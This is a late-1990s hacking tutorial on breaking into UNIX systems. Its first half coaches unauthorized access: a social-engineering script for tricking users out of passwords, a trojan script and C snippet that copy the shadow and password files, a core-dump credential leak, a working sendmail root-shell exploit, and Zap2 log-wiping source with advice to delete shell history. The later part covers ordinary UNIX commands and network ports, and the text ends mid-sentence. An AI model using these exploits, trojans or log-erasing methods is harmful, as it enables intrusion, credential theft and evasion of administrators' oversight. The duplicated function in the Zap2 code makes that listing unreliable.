home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / unix_intro1.txt < prev    next >
Encoding:
Text File  |  1998-07-23  |  41.6 KB  |  925 lines

  1. An Introduction To Hacking Around With The UNIX Operating System
  2.                    By Netdiablo of 616 <ndiablo@complink.net>
  3.                   
  4.     It is surprising that the majority of "hackers" today have little or
  5. no knowledge of the systems they are trying to penetrate. They are the
  6. ones looked down upon by the more experienced, those who run exploits to
  7. get access and then have no idea what to do once they have the access
  8. anyway. This textfile aims to give the newbie, or perhaps even intermediate
  9. user some information on the UNIX system, and how to hack around with it.
  10.  
  11.     Note that this file does not purport to be the be-all and end-all to
  12. UNIX, even for a beginner textfile. I have seen textfiles on UNIX that
  13. number 50+ pages and still not get the idea across. People have built
  14. entire careers on UNIX security, and obviously it couldnt even all be
  15. explained in an entire set of texts. Mastery requires not only reading and
  16. learning, but real-life experience that comes with time.
  17.  
  18. Beginning with the basics, UNIX is a multi-user, multitasking operating
  19. system that originated at Bell Labs in the late 1960's. It was created
  20. by engineers that had previously been working on the Multics project, which
  21. was a multitasking, multi-user OS as well, that introduced many of the
  22. security concepts in use today in government certified B2 and B3 level
  23. systems. A small bit of trivia, UNIX was initially started on old GE
  24. mainframes, but quickly moved to DEC PDP series minicomputers. From there,
  25. it was ported to numerous other minicomputers and mainframes, and improved
  26. over the years to the UNIX we know today.
  27.  
  28. UNIX takes many forms, but can be grouped into two major categories. There
  29. are BSD-derived UNIX systems, and System V based systems. The BSD standard
  30. originated at the University of California-Berkeley and was considered by
  31. many to be superior to AT&T offerings at the time. Many older UNIX systems
  32. were based on it, such as SunOS, and many are based on it now, such as
  33. OpenBSD, NetBSD, and FreeBSD. Other systems have integrated BSD features
  34. into System V, such as Xenix. System V is the current AT&T standard for
  35. UNIX. It really became popular when the University of California-Berkeley
  36. announced that it would no longer be developing BSD. Since then, the rights
  37. to "real" BSD have gone to BSDI, Inc.
  38.  
  39. So, you might be asking, what the hell does this have to do with hacking?
  40. Nothing. It's simply background, and it's good to know the difference between
  41. System V and BSD anyway.
  42.  
  43. This file really does two things - it alternates between giving information
  44. on UNIX security, and giving information on UNIX usage.
  45.  
  46. When you first access a UNIX system, it will probably be by a protocol called
  47. telnet. When you telnet into a UNIX system, you should be able to notice it
  48. by some very standard things about UNIX. A login prompt usually looks like:
  49.  
  50. <System_Type/Version> (system.name.com) (ttyXX)
  51.  
  52. login:
  53.  
  54. At the least, you will see "login:", and that pretty much means you've got
  55. a UNIX system on your hands. Sometimes, the system name and terminal will
  56. be in different positions, or not printed at all. 
  57.  
  58. At this prompt, you will be expected to login using a valid username. On
  59. UNIX systems, usernames are by standard 8 characters in length, although
  60. that can be extended by the use of special software, although it is
  61. uncommon. Then, you will be prompted for a password, which is also by
  62. standard 8 characters, but can be also lengthened by use of special software.
  63.  
  64. The UNIX system has several accounts that are installed default onto it
  65. so that essential system services may be run. These typically include:
  66.  
  67. root: The system administrators account
  68. bin: Owner of system binaries [most default executables on the system]
  69. daemon: Owner of system daemons [programs that run specific services on ports]
  70. adm: Another seldom-used administration account
  71. lp: Owner of printers
  72. sync: Seldom-used account for synching disks
  73. shutdown: Seldom-used account for system shutdown
  74. halt: Seldom-used account for halting system
  75. mail: Owner of some system mail-related files
  76. news: Owner of netnews-related files
  77. uucp: Owner of UUCP binaries, which are, at this time, generally obsolete
  78. operator: Another seldom-used administration account
  79. postmaster: An account that gets misrouted mail and other junk, usually
  80.             alised to root.
  81.             
  82. Although earlier files you might have seen say otherwise, I have found that
  83. all the accounts listed above are always locked out [disabled] EXCEPT for
  84. root. That means that accounts like bin,daemon, adm, lp, and the rest are
  85. useless for login. Root should have a VERY strong password if the admin
  86. is more intelligent than a gorilla. If you really want to try hacking
  87. defaults, though, try using the account name as the password, and also
  88. try words that have a relation to the account. For instance, for an 
  89. administrative account like 'root' you could try passwords like 'admin' or
  90. 'sysadmin' or 'manager'. 
  91.  
  92. You might then be wondering how would one go about getting access on a UNIX
  93. system. There are two major ways of doing this that will be covered in this
  94. file. The first is stealing/guessing/cracking passwords, the most traditional
  95. approach, and then there are buffer overflows. A buffer overflow is an exploit
  96. that consists of overflowing [usually] an input buffer in a program. When that
  97. is done properly, the program will crash, sometimes leaving you with a shell!
  98. If that program happened to be SUID root, then, you just got root!
  99.  
  100. ------------------------------------------------------------------------------
  101. New user definition [SUID]: Set User ID. This is a parameter set on a program
  102. that makes it execute as if it had privelages of the user it is SUID to.
  103. Sometimes this is used with the root account to allow a program to access 
  104. certain files that it might need that are privelaged, for instance, /etc/shadow.
  105. ------------------------------------------------------------------------------
  106.  
  107. The first method, the stealing/guessing/cracking/etc. of passwords is the most
  108. traditional method of getting access to a box. This can be quite simple, such
  109. as social engineering some idiot who has an account on the box and getting them
  110. to give you their username and password, or it can be somewhat complex, like
  111. unshadowing the password file, then running a cracker on it.
  112.  
  113. -------------------------------------------------------------------------------
  114. New user definition [Social Engineering]: Tricking a computer-illiterate idiot
  115. into giving you useful information that will help you better exploit your 
  116. target system.
  117. -------------------------------------------------------------------------------
  118.  
  119. One can also guess a password on a system. Possible passwords might be the
  120. users name, the users name backwards, the users birthdate or phone number,
  121. name of a friend or relative, name of the system, or a word that has a relation
  122. to their job or profession.
  123.  
  124. Social engineering a password can be quite easy or really hard depending on
  125. how stupid and gullible the target is. Obviously, there is a cutoff for this
  126. sort of attack - experienced users will know you are just bullshitting them.
  127. This can be done over the phone, electronically through chat or mail, or in
  128. many other ways!
  129.  
  130.                     IDIOT: Hello
  131.                     
  132.                     YOU: Hi, i'm with systems administration, and
  133.                     we're planning on moving some of the user home
  134.                     directories onto a larger disk later today.
  135.                     This won't be an inconvenience to you?
  136.                     
  137.                     IDIOT: No, i'll be finished with the system by
  138.                     then.
  139.                     
  140.                     YOU: Ok, we'd like your password so that we can
  141.                     check and see that all your files transferred ok.
  142.                     Your login is "idiot", right?
  143.                     
  144.                     IDIOT: Thats right. My password is "toidi"
  145.                     
  146.                     YOU: Thank-you. I'll be sure to check and see that
  147.                     everything works all right after the move.
  148.                     
  149.                     IDIOT: Thanks
  150.                   
  151. Of course, it is always better to sound as proficient as possible, especially
  152. if the user is very computer illiterate and will be intimidated by the fact
  153. that you will sound knowledgable. However, if you bullshit your way through
  154. with someone who knows what they are doing, you can easily become screwed!
  155.  
  156. Also, you can steal the systems password file. This can be done remotely,
  157. although it is a bit harder now than it used to be. Exploits can be found
  158. in older versions of Sendmail that will make it mail the password file
  159. to you, and the password file can also be grabbed by FTP if the admin
  160. put the real password file there, although take note that usually one will
  161. find a small, crippled password file in its place. You can also quickly
  162. steal the password file if you can find a system running a protocol like
  163. TFTP, which you will probably never find at this point in time, or other
  164. services, like NFS, can also be manipulated to get access to files remotely.
  165.  
  166. If you already have an account on the system, it is VERY easy. Simply copy
  167. the password file to your directory, and FTP it off of the system. This can
  168. be done using the following command:
  169.  
  170.                     cp /etc/passwd /your/home/directory/passwd
  171.                     
  172. or, you could also use a command like:
  173.  
  174.                     cat /etc/passwd > /your/home/directory/passwd
  175.                    
  176. Then, just FTP it off the system onto your local box, where you can run a
  177. password cracker, like Crack on it.
  178.  
  179. At this point in time, you might run into another problem. The password
  180. file might be "shadowed". Shadowing is a scheme which attempts to make the
  181. password file a lot harder to steal and crack. In the shadowing scheme, all
  182. the users usual information EXCEPT the password is stored in /etc/passwd, but
  183. the users password is stored in a special file that only root has privelages
  184. to called the shadow file. There are many variations in what the shadow file
  185. is called on different operating systems, but it is usually /etc/shadow on
  186. System V derived systems, or /etc/master.passwd on BSD derived systems.
  187.  
  188. You can tell if you have a passwd file that is "shadowed" by the fact that
  189. all the entries in the passwd file contain some sort of token, and not the
  190. real passwords. Most common are "x", "*", and "!".
  191.  
  192. --------------------------------------------------------------------------
  193. Also, for your information, here is a look at the structure of an entry
  194. in the passwd file:
  195.  
  196. Username:Encrypted Password:UID:GID:GECOS:Home Directory:Shell
  197.  
  198. It is pretty obvious what the 'Username' and 'Encrypted Password' fields
  199. contain. The UID and GID fields contain the numeric UserID and GroupID
  200. of the account. The GECOS field contains information like the users
  201. real name, phone number, office, and other information which is shown
  202. when you perform a 'finger' query on the user. The 'Home Directory'
  203. and 'Shell' fields are self explanatory as well.
  204. --------------------------------------------------------------------------
  205.  
  206. Therefore, for all practical reasons,it seems that you have to have root
  207. before you can steal the password file and get actual passwords, but this
  208. is not totally so. There are a few ways around this.
  209.  
  210. First of all, you can trick the admin into running an application or a
  211. script that is in reality a trojan horse to steal the passwd and shadow
  212. files! Below is an example of a script that will do this:
  213.  
  214.                     echo "Initializing player information..."
  215.                     cp /etc/shadow /my/home/directory/.shadow
  216.                     cp /etc/passwd /my/home/directory/.passwd
  217.                     chmod 777 /my/home/directory/.shadow
  218.                     chmod 777 /my/home/directory/.passwd
  219.                     echo "Segmentation fault (core dumped)"
  220.                     touch core
  221.                     
  222. This is a decent script, although not really convincing. A better way to do 
  223. this would be to include something like the following in a small C program
  224. and get the admin to run this:
  225.  
  226.                 if (getuid()==0)
  227.                     {
  228.                         system("cp /etc/shadow /my/home/directory/.shadow");
  229.                         system("cp /etc/passwd /my/home/directory/.passwd");
  230.                         system("chmod 777 /my/home/directory/.passwd");
  231.                         system("chmod 777 /my/home/directory/.shadow");
  232.                     }
  233.                 else
  234.                     do_other_program_stuff();
  235.                         
  236. This will use the "getuid" function to get the user's UID, and if the UID is
  237. 0 (the root UID) then it attempts to steal the password file. However, if the
  238. admin is being secure, and not running it from the root account, the program
  239. will not do anything. This will make it more convincing than if the admin
  240. ran the script under a non-root account and got errors about not having
  241. permissions to /etc/shadow!
  242.  
  243. -----------------------------------------------------------------------------
  244. New User Definition [UID]: The numerical User ID of a user on a UNIX system.
  245. Each login has a UID that corresponds to it.
  246. -----------------------------------------------------------------------------
  247.  
  248. You can also use an exploit to attempt to steal parts [or all] or the shadow
  249. file through coredumps. This exploit is available from the rootshell website
  250. under the filename "imapd_core.txt", "telnet_core.txt", and others.
  251.  
  252. -----------------------------------------------------------------------------
  253. New User Definition [Rootshell]: Rootshell.com, one of the best sites on the
  254. web for getting exploit code and information. Available at the rootshell
  255. website at http://www.rootshell.com
  256.  
  257. New User Definition [Coredump]: A "core" file is a file that contains the
  258. contents of program's memory space at the time that a program crashed. Used
  259. under normal circumstances as a debugging aid, it can also be used to steal
  260. data by crashing programs and reading the information out of the corefile.
  261. -----------------------------------------------------------------------------
  262.  
  263. Here is an example of such an exploit, the "imapd_core" exploit from rootshell:
  264.  
  265. When fed an unknown username, imapd and ipop3d will dump core:
  266.  
  267. [root@koek] /# telnet zopie 110
  268. Trying 10.10.13.1...
  269. Connected to zopie.attic.vuurwerk.nl.
  270. Escape character is '^]'.
  271. +OK zopie.attic.vuurwerk.nl POP3 3.3(20) w/IMAP2 client (Comments to MRC@CAC.Wa
  272. shington.EDU) at Sun, 1 Feb 1998 23:45:06 +0100 (CET)
  273. user root
  274. +OK User name accepted, password please
  275. pass linux
  276. [this is not the correct password]
  277. -ERR Bad login
  278. user john
  279. [i have no user named john]
  280. +OK User name accepted, password please
  281. pass doe
  282. Connection closed by foreign host.
  283.  
  284. At this point, ipop3d coredumps in /core:
  285.  
  286. [root@zopie] /# strings core | grep -A3 root
  287. root
  288. [encrypted pw here]
  289.  
  290. 10244
  291. Sun Feb 1 23:45:15 1998
  292. --
  293. root:[crypted pw here]:10244:0:::::
  294. halt:*:9797:0:::::
  295. operator:*:9797:0:::::
  296. shutdown:*:9797:0:::::
  297. [looks like my /etc/shadow]
  298. --
  299.  
  300. ------------------------------------------------------------------------------
  301. New User Definition [Disabled Account]: An account can be disabled on a UNIX
  302. system by replacing its password in the /etc/passwd OR /etc/shadow files with
  303. a token, which is usually "*". If password shadowing is in use, this will be
  304. in the /etc/shadow file, if not, this will be in the /etc/passwd file. Do not
  305. confuse this with shadowing, because in shadowing, all the passwords in the
  306. /etc/passwd file will be marked with a token (usually "x" or "*") and you will
  307. have to see the /etc/shadow file to see if they are really disabled.
  308. ------------------------------------------------------------------------------
  309.  
  310. Now, lets assume that you have a password and/or shadow file. Now, you will
  311. have to crack it. First of all, look for password or shadow files that have
  312. users with no password. This can be told by the blank space in the password
  313. field. Then, if you have a shadow file, copy the actual passwords into the
  314. password file and replace the tokens. Now you will have a password file ready
  315. to crack. You can crack password files with several popular programs, some
  316. of which are available on the rootshell website. Some of there programs are
  317. "Crack", which is available for UNIX platforms, and at this time, is at version
  318. 5.0. A password cracker called "John The Ripper" is a popular one for DOS
  319. and Windows boxes.
  320.  
  321. If the cracker comes up with any passwords, then you just got a few new
  322. accounts on the box, and if you come up with a root password, then
  323. congratulations, you just own the box.
  324.  
  325. Onto the other method, which is the buffer overflow method. Buffer overflows
  326. are commonly done with exploit programs. Buffer overflows take advantage of
  327. poorly written SUID programs. When a buffer overflow is used on a SUID root
  328. program, the program may crash, and in circumstances, leave you with a 
  329. privelaged shell. An example of a buffer overflow exploit for an old version
  330. of Sendmail is shown below:
  331.  
  332. #/bin/sh
  333. #
  334. #
  335. #                                   Hi !
  336. #                This is exploit for sendmail smtpd bug
  337. #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
  338. #         This shell script does a root shell in /tmp directory.
  339. #          If you have any problems with it, drop me a letter.
  340. #                                Have fun !
  341. #
  342. #
  343. #                           ----------------------
  344. #               ---------------------------------------------
  345. #    -----------------   Dedicated to my beautiful lady   ------------------
  346. #               ---------------------------------------------
  347. #                           ----------------------
  348. #
  349. #          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
  350. #
  351. #
  352. #
  353. echo   'main()                                                '>>leshka.c
  354. echo   '{                                                     '>>leshka.c
  355. echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
  356. echo   '}                                                     '>>leshka.c
  357. #
  358. #
  359. echo   'main()                                                '>>smtpd.c
  360. echo   '{                                                     '>>smtpd.c
  361. echo   '  setuid(0); setgid(0);                               '>>smtpd.c
  362. echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
  363. echo   '}                                                     '>>smtpd.c
  364. #
  365. #
  366. cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
  367. ./leshka
  368. kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"
  369. |head -n 1`
  370. rm leshka.c leshka smtpd.c /tmp/smtpd
  371. echo "Now type:   /tmp/sh"
  372.  
  373. This exploit is a shell script that echoes some C code into two C files, and
  374. the compiles and runs them, with the result of giving a root shell on systems
  375. running a vulnerable version of sendmail.
  376.  
  377. There is not much else to say about buffer exploits - they are quickly used
  378. to get access on a system. The question now is what to do once you have
  379. broken into a system.
  380.  
  381. Once you have broken a system, you can use it as a base of attack against 
  382. other systems, steal files, and other things. If you have taken root, consider
  383. the system your own - you can do whatever you please - add users, delete and
  384. add files, make the system wide open or lock it down. I assume you've read
  385. all the stuff out there on ethics - i'm not gonna say much here but if you
  386. break a system, dont be an ass and do things like removing legitimate users,
  387. deleting the files of legitimate users, crashing the system, or other things
  388. that make true hell for the real day-to-day users of the system.
  389.  
  390. The remainder of this file will feature commands and strategies for moving
  391. around inside UNIX systems. Once you have gotten into a UNIX system, you will
  392. be logged in, and your shell will start. There are many shells, but the most
  393. numerous of them are the Bourne shell [sh or bash], the C shell [csh], the
  394. Korn shell [ksh], and the Z shell [zsh]. Depending on the system, you will
  395. also see the date of the last login on the account, and the destination from
  396. where it occured. This is important. If you want to prolong your stay on
  397. a system, you must be careful to call as little attention to yourself as
  398. possible. That means WATCH YOUR LOGS. If you have a regular user account, there
  399. is not much you can do but try and stay out of the logs as much as possible,
  400. but if you have root, you can remove your presence entirely! There are many
  401. programs that relieve you from doing this task by hand; a good one is called
  402. Zap2, which is listed below.
  403.  
  404. #include <sys/types.h>
  405. #include <stdio.h>
  406. #include <unistd.h>
  407. #include <sys/file.h>
  408. #include <fcntl.h>
  409. #include <utmp.h>
  410. #include <pwd.h>
  411. #include <lastlog.h>
  412. #define WTMP_NAME "/usr/adm/wtmp"
  413. #define UTMP_NAME "/etc/utmp"
  414. #define LASTLOG_NAME "/usr/adm/lastlog"
  415.  
  416. int f;
  417.  
  418. void kill_utmp(who)
  419. char *who;
  420. {
  421.     struct utmp utmp_ent;
  422.  
  423.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  424.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  425.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  426.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  427.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  428.                  write (f, &utmp_ent, sizeof (utmp_ent));
  429.             }
  430.      close(f);
  431.   }
  432. }
  433.  
  434. void kill_wtmp(who)
  435. char *who;
  436. {
  437.     struct utmp utmp_ent;
  438.     long pos;
  439.  
  440.     pos = 1L;
  441.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  442.  
  443.      while(pos != -1L) {
  444.         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  445.         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  446.           pos = -1L;
  447.         } else {
  448.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  449.                bzero((char *)&utmp_ent,sizeof(struct utmp ));
  450.                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  451.                write (f, &utmp_ent, sizeof (utmp_ent));
  452.                pos = -1L;
  453.           } else pos += 1L;
  454.         }
  455.      }
  456.      close(f);
  457.   }
  458. }
  459.  
  460. void kill_lastlog(who)
  461. char *who;
  462. {
  463.     struct passwd *pwd;
  464.     struct lastlog newll;
  465.  
  466.      if ((pwd=getpwnam(who))!=NULL) {
  467.  
  468.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  469.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  470.             bzero((char *)&newll,sizeof( newll ));
  471.             write(f, (char *)&newll, sizeof( newll ));
  472.   }
  473. }
  474.  
  475. void kill_lastlog(who)
  476. char *who;
  477. {
  478.     struct passwd *pwd;
  479.     struct lastlog newll;
  480.  
  481.      if ((pwd=getpwnam(who))!=NULL) {
  482.  
  483.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  484.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  485.             bzero((char *)&newll,sizeof( newll ));
  486.             write(f, (char *)&newll, sizeof( newll ));
  487.             close(f);
  488.         }
  489.  
  490.     } else printf("%s: ?\n",who);
  491. }
  492.  
  493. main(argc,argv)
  494. int argc;
  495. char *argv[];
  496. {
  497.     if (argc==2) {
  498.         kill_lastlog(argv[1]);
  499.         kill_wtmp(argv[1]);
  500.         kill_utmp(argv[1]);
  501.         printf("Zap2!\n");
  502.     } else
  503.     printf("Error.\n");
  504. }
  505.  
  506. Using this program, you can make yourself nearly invisible on a machine.
  507. Remember, edit the logs - dont delete them. Deleting or completely destroying
  508. log files is sure to trigger the administrators suspicions. Also, you must 
  509. keep track of your history files. These contain every command you  have entered
  510. while your were logged in, and can be dangerous evidence if you are caught. 
  511. Be sure to look for files like ".history" and ".bash_history" in the home 
  512. directory of the account you are using and delete them! 
  513.  
  514. So, now that you have access, you will need to know the commands UNIX uses to
  515. get around. You might be familiar with them, as Microsoft ripped off some
  516. of the UNIX command names in DOS. (Note that UNIX commands are case sensitive)
  517.  
  518. UNIX Command            DOS Equivelant          Function
  519.  
  520.     ls                      DIR                 List files in directory
  521.     ls -l                   DIR /W              List files in directory [long]
  522.     ls -a                   DIR /AH             List files in directory [all]
  523.     cd                      CD                  Change directory
  524.     rm                      DEL                 Delete file
  525.     cp                      COPY                Copy file
  526.     mv                      MOVE                Move file
  527.     ln                      N/A                 Create "link" to a file
  528.                                                 [similar to "shortcuts" in W95]
  529.     ps                      N/A                 Show processes running [you]
  530.     ps -uax                 N/A                 Show processes running
  531.                                                 [with extra info, all users]
  532.     w                       N/A                 Show users logged in
  533.     logout                  N/A                 Logout of system
  534.     chmod                   ATTRIB              Change file attributes
  535.     chown                   N/A                 Change file ownership
  536.     man                     HELP                Help on commands [syntax, etc]
  537.     gcc                     N/A                 Compile C files
  538.     cc                      N/A                 Compile C files
  539.     netstat                 N/A                 Show network information
  540.                                                 [open connections, etc]
  541.     ifconfig                N/A                 Show information on network
  542.                                                 interfaces [e.g. ethernet
  543.                                                 cards, ppp links]
  544.     du                      CHKDSK              Show disk usage
  545.     
  546. Obviously, the UNIX command structure is a lot more broad and powerful than
  547. that of DOS. There are hundreds of UNIX commands, with only the common ones
  548. listed above. Now to some more information on the UNIX filesystem.
  549.  
  550. The UNIX filesystem is also very powerful and advanced. It allows filenames
  551. with names up to 255 characters in some implementations, and you are not
  552. restricted by having to have a three character extention on the end. That
  553. is where filenames like "ssh-1.2.22.tar.gz" come in (heh). The UNIX directory
  554. system uses the "/" character to seperate directories, unlike DOS, which
  555. uses a "\", and, unlike DOS, UNIX does not use "drive letters". In UNIX,
  556. disks are mounted under directories. For instance, one might have two drives.
  557. In DOS, they might be called C: and D:, but in UNIX, they might be mounted
  558. under the "/" directory and the "/usr" directory.
  559.  
  560. -----------------------------------------------------------------------------
  561. New User Definition [/]: The root directory in UNIX. All other directories are
  562. mounted from here. If this confuses you, think of "/" as "C:\".
  563. -----------------------------------------------------------------------------
  564.  
  565. The UNIX filesystem also follows, to a certain extent, a standard format. This
  566. is illustrated below in a diagram:
  567.  
  568.                                     /
  569. /bin    /usr    /var    /etc    /dev  /lost+found  /proc /mnt  /sbin /tmp /home
  570.                     
  571. What is in these directories?
  572. /bin: Contains necessary system binaries, such as ls, rm, etc.
  573. /etc: Contains all system configuration information.
  574. /dev: Contains system device files.
  575. /var: Contains logfiles, mail and news spool directories, etc.
  576. /home: Contains user home directories [sometimes these are in /usr]
  577. /usr: Contains most system executables and files. Binaries in /usr/bin,
  578.       C compiler include files in /usr/include, Manual pages in /usr/man,
  579.       shared libraries in /usr/lib [sometimes this is in /lib].
  580. /lost+found: Contains inodes that may have become corrupted in system
  581.              crashes.
  582. /mnt: Removable drives are sometimes mounted here, such as floppies, etc.
  583. /tmp: Directory where temporary files are stored. Contents of this directory
  584.       are usually deleted everytime the system starts up or reboots.
  585. /proc: This is a "virtual filesystem" that contains information on all the
  586.        processes that are currently running on the system at the time.
  587. /sbin: This is mostly where files used for system diagnostics and
  588.        administration are stored. Sometimes, system daemons are stored here,
  589.        also, instead of in /usr/sbin.
  590.  
  591. The UNIX filesystem also has a set of bits that set attributes about a file.
  592. Wheras DOS has perhaps three or four attribute bits, UNIX has many more. They
  593. are given in a format as follows:
  594.  
  595. The UNIX attribute bit system has four positions:
  596.  
  597.             - --- --- ---
  598.             1  2   3   4
  599.             
  600. The first position is simply a bit that indicates if the file is "special". A
  601. file can be "special" in a number of ways. There are four bits that can be set
  602. in the first position. They are:
  603.  
  604. d: File is a directory.
  605. l: File is a link.
  606. c: File is a character device.
  607. b: File is a block device.
  608.  
  609. A file that just has "-" in the first position is simply a regular data or
  610. executable file.
  611.  
  612. The second position is a set of three bits that indicates what privelages the
  613. owner has in regard to the file. Each bit has one setting, and they are as
  614. follows:
  615.  
  616. r: User has "read" permission to file.
  617. w: User has "write" permission to file.
  618. x: User has "execute" permission to file.
  619. s: The SUID bit (see below).
  620.  
  621. There is also a fourth bit, the SUID bit. This will take the place of the "x"
  622. bit, so if you see a file with permissions like "rwsr-xr-x", you know it is
  623. SUID.
  624.  
  625. The third position is what privelages the members of the group that owns the
  626. file has in regard to the file. It also has three bits with one setting, and
  627. they are the same as above - read, write, and execute.
  628.  
  629. The fourth and final position is what privelages "other users" have in regard
  630. to the file. "Other users" consists of any user that does not own the file or
  631. that is not in the group that owns the file. It also contains three bits with
  632. one setting each, and they are the same as above also - read, write, and
  633. execute.
  634.  
  635. Given below are some examples of a "ls -l" directory listing that show the
  636. ownership and permissions on the file.
  637.  
  638. -r--------  1   root    root    715 Jun 14 16:16    /etc/shadow
  639.  
  640. Here, the file "/etc/shadow" is owned by the root user and the root group,
  641. and can only be read by the root user. Any other person on the system cannot
  642. read, write to, or execute [run] the file.
  643.  
  644. lrwxrwxrwx  1   root    root    8   Aug 28 1997 /tmp -> /var/tmp
  645.  
  646. Here, the file "/tmp" is a link to the directory "/var/tmp".  It is owned by
  647. the root user and the root group, and is readable, writable, and executable
  648. by any user on the system.
  649.  
  650. drwxr-xr-x  8   root    root    1024    Jun 18 14:15    mothra
  651.  
  652. Here is a directory, owned by user root and group root. The user root can
  653. read, write to, and execute the directory. The other members of the root
  654. group can read the directory and execute it, but not write to it. Other
  655. users on the system who are not members of the root group or the user root
  656. can also read and execute the directory, but not write to it.
  657.  
  658. -rw-r--r--  1   ndiablo ndiablo 240 Apr 16 10:32    rksh.c
  659.  
  660. This file is a regular file, owned by the user ndiablo and the group ndiablo.
  661. The usr ndiablo can read and write to the file, but not execute it (since it
  662. is a textfile, not a program). Other users who are in the ndiablo group can
  663. only read the file, and users on the system who are not ndiablo or in the
  664. ndiablo group can also only read the file.
  665.  
  666. To put this simply, here is one more diagram:
  667.  
  668.                            drwxrwxrwx
  669.                            |\ /\ /\ /
  670.                            | |  |  |
  671.                            | |  |  |
  672.                "Special" Bit |  |  |
  673.                              |  |  |
  674.                 Privelages For  |  Privelages for
  675.                 Owner           |  "Everyone Else"
  676.                                 |
  677.                    Privelages For
  678.                    Owning Group
  679.                    Members  
  680.                    
  681. Now that you know the rudimentary UNIX commands, and important information
  682. about the UNIX filesystem, one final thing the beginner should know about UNIX
  683. is some beginner information on it's networking commands. Obviously, you should
  684. find a good tutorial textfile on the Internet and TCP/IP if you are a little
  685. unclear on the workings on the Internet.
  686.  
  687. UNIX has many networking commands - UNIX and the Internet go hand in hand, 
  688. partially because UNIX is one of the most network-integrated operating systems
  689. there is. Obviously, if you are any sort of UNIX user, you need to know how
  690. to use the power of UNIX on the network. The UNIX network services will be
  691. explained on a protocol-to-protocol basis, covering the major ones.
  692.  
  693. Port 11: Systat
  694. If you telnet to port 11 on a machine, you might get lucky and have the "who" 
  695. or "ps" command printed out to you. An admin is a total security fool if he
  696. runs this, and is just giving out information that is at the least background 
  697. on hacking the machine, and you can often find valid account names or find out
  698. what programs are being run on the system through this.
  699.  
  700. Port 15: Netstat
  701. If you telnet to port 15 on a machine, you might also get lucky and have the
  702. "netstat" command printed out to you. Also, an admin would be a total moron
  703. to run this service, and it gives you more security background on the machine.
  704. Through netstat, you can get an idea of which services the machine serves,
  705. and what systems the machine's users login from.
  706.  
  707. Port 21: FTP
  708. FTP is the Internet File Transfer Protocol. UNIX runs a FTP daemon [server] on
  709. port 21, which is usually wuftpd or the BSD FTP daemon at this point in time.
  710. UNIX also has a FTP client, which can be accessed by typing "ftp" at your
  711. shell prompt. The syntax for FTP, plus some useful commands are as follows:
  712.  
  713. At the shell prompt: ftp <ftp.host.com>         \
  714.                                                  >-- To connect to a system
  715. At the "ftp>" prompt: open <ftp.host.com>       /
  716.  
  717. Once you are connected and have logged in, you can use the "cd" command to
  718. change directories, the "ls" command to list files, the "get" command to
  719. get files, and the "send" command to send files. Typing "help" will give
  720. more help on the FTP client program. You can disconnect by typing "bye" or
  721. "quit" at the FTP prompt.
  722.  
  723. Port 22: SSH [Not standard, but common]
  724. SSH is the port that the Secure Shell is usually installed on. Secure shell is
  725. a very kewl program that resembles rlogin, but encrypts the session, which
  726. protects against packet sniffing attacks. If the machine you are on has it
  727. installed, you can open a secure shell session to a host using the "ssh"
  728. command. For information on how to use the "ssh" command, just type "ssh"
  729. at your prompt, and it will list all the options for its usage. Normally,
  730. you would use a command like "ssh -l username hostname.com".
  731.  
  732. Port 23: Telnet
  733. Telnet is the protocol which allows you to remotely login to machines over
  734. the internet and establish a terminal session. The telnet daemon is pretty
  735. standard. You can access the telnet client program by typing "telnet" at
  736. your prompt. It's syntax is really, for most practical purposes, as follows:
  737.  
  738. At the shell prompt: telnet <host.com> [port number]
  739.  
  740. The port number is optional, and specifies what port on the machine to
  741. connect to. An example of this is "telnet anubis-gw.dyn.ml.org 25". You can
  742. exit a telnet session by logging out of the machine, or by typing the "escape
  743. character", which is usually ^], and typing "quit" at the "telnet>" prompt.
  744.  
  745. Port 25: Sendmail
  746. This is the default port for the system mailer, which is MOSTLY sendmail,
  747. but sometimes could be a variant, like qmail, or perhaps a wrapper program,
  748. one example of which is smap from TIS. You normally interface with Sendmail
  749. through the "mail" program. It's syntax is very broad, but usually is something
  750. like the following for most puropses:
  751.  
  752. At the shell prompt: mail user@host.com
  753.  
  754. I have the problem that there are lots of quirks to Sendmail that could help
  755. you get access, but as i'd like to keep this file broad, you'll have to look
  756. for specific information on Sendmail in another textfile.
  757.  
  758. Port 53: BIND (DNS)
  759. This is the domain name server port. The only boxes that should be running this
  760. are a domain's nameservers [obviously]. There are a few exploits, some of which
  761. have come out pretty recently at the time of this writing, that will help you
  762. exploit the BIND daemon to get a shell on a remote system. Again, I havent
  763. really played around with BIND a whole lot, so if you want more information
  764. on the topic, i'll leave it up to you to find a textfile that is more specific
  765. on the topic.
  766.  
  767. Port 69: TFTP
  768. This is the Trivial FTP Protocol. If you ever find a host running this, quickly
  769. connect and steal the /etc/passwd file. UNIX has a TFTP client, type "tftp"
  770. at your shell prompt and, from that, type "help", or "?" at your "tftp" prompt
  771. for more information. I am not going into much depth here because it is a
  772. seldom-used protocol.
  773.  
  774. Port 79: Finger
  775. Finger is a protocol that can give you information on users. You can also
  776. create DoS attacks using a technique called "redirecting" if the daemon
  777. supports it. This one is really a mixed bag. For the most part, it doesnt
  778. offer specific security vulnerabilities (although there are exceptions) execpt
